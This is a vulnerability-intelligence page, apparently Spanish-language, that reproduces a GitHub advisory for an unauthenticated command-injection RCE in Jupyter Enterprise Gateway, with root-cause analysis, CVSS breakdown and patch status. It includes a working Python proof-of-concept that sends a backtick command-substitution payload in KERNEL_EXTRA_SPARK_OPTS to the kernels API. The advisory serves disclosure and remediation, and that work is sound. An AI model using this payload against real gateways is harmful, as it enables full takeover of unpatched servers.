llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · jupyter_enterprise_gateway

GHSA-J63F-R6HC-X235

Unauthenticated Remote Command Execution (RCE) via KERNEL_EXTRA_SPARK_OPTS Injection in Jupyter Enterprise Gateway

Parche disponible
Descargar PNG JSON
CVSS 3.1
10.0
Crítica
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición8 dDesde la divulgación, 13 nov 2026, 5:28 p. m.
Detección5 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaAtender
Priorizar en el próximo ciclo de cambios
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Revisa si está expuesta a internet. Yo espero aquí.Hoy no arde, pero ya hay humo.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 3.4.0
Monitoreo
Detectada +1
13 nov 26
19 nov 26
22 nov 26
13 nov 26
16 nov 26
18 nov 26
20 nov 26
22 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-J63F-R6HC-X235 divulgada · CVSS 10 (GitHub)
Remediación Parche 3.4.0 jupyter_enterprise_gateway · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
GitHub

Unauthenticated Remote Command Execution (RCE) via `KERNEL_EXTRA_SPARK_OPTS` Injection in Jupyter Enterprise Gateway

## Summary
A critical unauthenticated Remote Command Execution (RCE) vulnerability has been identified in Jupyter Enterprise Gateway (all current versions, including `3.3.0` and the `main` branch).

The vulnerability exists in how Enterprise Gateway processes the environment variables (`env`) supplied by clients during a kernel creation request (`POST /api/kernels`). Variables starting with `KERNEL_` are unsafely propagated to the backend cluster process proxies, which subsequently execute Bash scripts (e.g., `run.sh` for various `kernelspecs`).

Due to the use of the `eval` command inside these `run.sh` scripts, an attacker can inject arbitrary shell commands via Command Substitution (e.g., `` `command` `` or `$(command)`). This allows full system compromise of the Enterprise Gateway server or the backend compute nodes with the privileges of the user running the Enterprise Gateway instance (e.g., `jovyan` or `root`).

## Prerequisites for Successful Exploitation
- The Jupyter Enterprise Gateway is accessible over the network.
- The default Enterprise Gateway configuration is in use, which relies on the `AllowAllAuthorizer` (No Authentication required), OR the attacker has a valid token/credential if authentication is explicitly enabled.
- The Enterprise Gateway server uses at least one `kernelspec` that invokes a `run.sh` script containing an `eval exec` statement (e.g., `spark_python_yarn_client`, `spark_python_conductor_cluster`, `spark_R_kubernetes`, etc. - which are bundled by default).

## Root Cause Analysis
The root cause involves a severe breakdown in data sanitization spanning across the API, Process Proxy, and the execution Sink.

Step 1: API Taint Introduction
In `enterprise_gateway/services/kernels/remotemanager.py`, the `_capture_user_overrides()` method explicitly extracts any key in the `env` dictionary of the HTTP Request that begins with `KERNEL_` and trusts it:

def _capture_user_overrides(self, **kwargs):
    env = kwargs.get("env", {})
    # ...
    self.user_overrides.update(
        {
            key: value
            for key, value in env.items()
            if key.startswith("KERNEL_") or ...
        }
    )

Step 2: Proxy Transformation
The trusted variables are then processed by the underlying proxy. For instance, in `enterprise_gateway/services/processproxies/yarn.py`, the variable `KERNEL_EXTRA_SPARK_OPTS` is directly appended to the `SPARK_OPTS` variable:

user_defined_spark_opts = ""
if "KERNEL_EXTRA_SPARK_OPTS" in env_dict:
    user_defined_spark_opts = env_dict["KERNEL_EXTRA_SPARK_OPTS"]

env_dict['SPARK_OPTS'] = '--master yarn --deploy-mode client --name {kernel_id} {spark_opts}'.format(
    kernel_id=kernel_id, spark_opts=user_defined_spark_opts
)

Step 3: The Execution Sink
The process proxy subsequently executes a bash script, such as `etc/kernelspecs/spark_python_yarn_client/bin/run.sh`. Inside this script, `SPARK_OPTS` is evaluated unsafely:

eval exec "${IMPERSONATION_OPTS}" \
     "${SPARK_HOME}/bin/spark-submit" \
     "${SPARK_OPTS}" \
     "${PROG_HOME}/scripts/launch_ipykernel.py" \
     "${LAUNCH_OPTS}" \
     "$@"

When bash parses the `eval` statement, it resolves `${SPARK_OPTS}`. If an attacker has supplied a payload utilizing command substitution like `` `touch /tmp/pwned` ``, bash will evaluate and execute the command before evaluating the rest of the string for the `exec spark-submit` call.

Steps to Reproduce (Proof of Concept)

  1. Deploy the latest Jupyter Enterprise Gateway using Docker:
  1. Save the following Python script as `exploit.py` and execute it (`python3 exploit.py`). This script simulates a malicious client requesting a new kernel and injecting the command `id > /tmp/hacked_by_zero_day`.
import requests

def exploit(target_url):
    print(f"[*] Targeting Jupyter Enterprise Gateway at: {target_url}")
    
    url = f"{target_url.rstrip('/')}/api/kernels"
    headers = {"Content-Type": "application/json"}
    
    # Payload utilizing Command Substitution syntax
    payload = "`id > /tmp/hacked_by_zero_day`"
    
    data = {
        "name": "spark_python_yarn_client",
        "env": {
            "KERNEL_EXTRA_SPARK_OPTS": payload
        }
    }
    
    print("[*] Sending malicious kernel creation request...")
    try:
        # A timeout is expected as the payload executes, but the actual kernel launch fails.
        requests.post(url, headers=headers, json=data, timeout=5)
    except requests.exceptions.RequestException:
        print("[*] Request completed.")

exploit("http://localhost:8888")
  1. Verify the execution inside the Docker container:

## Recommended Fix
The vulnerability stems directly from the usage of `eval` combined with unescaped shell variables in bash scripts.

Immediate Action:
Remove the `eval` command from all `run.sh` files within the `etc/kernelspecs/` directory. By dropping `eval`, Bash will treat `"${SPARK_OPTS}"` strictly as a literal string argument to `spark-submit`, and command substitution injection will fail.

**Vulnerable code (`etc/kernelspecs/*/bin/run.sh`):**

eval exec "${IMPERSONATION_OPTS}" \
     "${SPARK_HOME}/bin/spark-submit" \
     "${SPARK_OPTS}" \
     "${PROG_HOME}/scripts/launch_ipykernel.py" \
     "${LAUNCH_OPTS}" \
     "$@"

Fixed Code:

# Note: If IMPERSONATION_OPTS contains multiple arguments, it should ideally be converted to a bash array.
# Assuming it is a string containing multiple space-separated arguments, using unquoted ${IMPERSONATION_OPTS} allows word splitting safely without eval.
exec ${IMPERSONATION_OPTS} \
     "${SPARK_HOME}/bin/spark-submit" \
     ${SPARK_OPTS} \
     "${PROG_HOME}/scripts/launch_ipykernel.py" \
     ${LAUNCH_OPTS} \
     "$@"

Additionally, `enterprise_gateway/services/kernels/remotemanager.py` should implement strict validation and sanitization for any client-provided `KERNEL_` environment variables to ensure they do not contain dangerous shell metacharacters before appending them to the process proxy's execution context.

## Script and Image PoC:
- Script PoC:
jupyter_eg_rce_poc.py https://github.com/user-attachments/files/28630530/jupyter_eg_rce_poc.py
- Image PoC:
<img width="1495" height="486" alt="image" src="https://github.com/user-attachments/assets/942eda73-c94e-45e0-8680-b12e2a175a27" />

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
jupyter_enterprise_gateway≤ 3.3.0
3.3.0
3.4.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypijupyter_enterprise_gateway
Corregida 3.4.0 0 d 3.4.0 no afectada
Versiones corregidas3.4.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-j63f-r6hc-x235

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.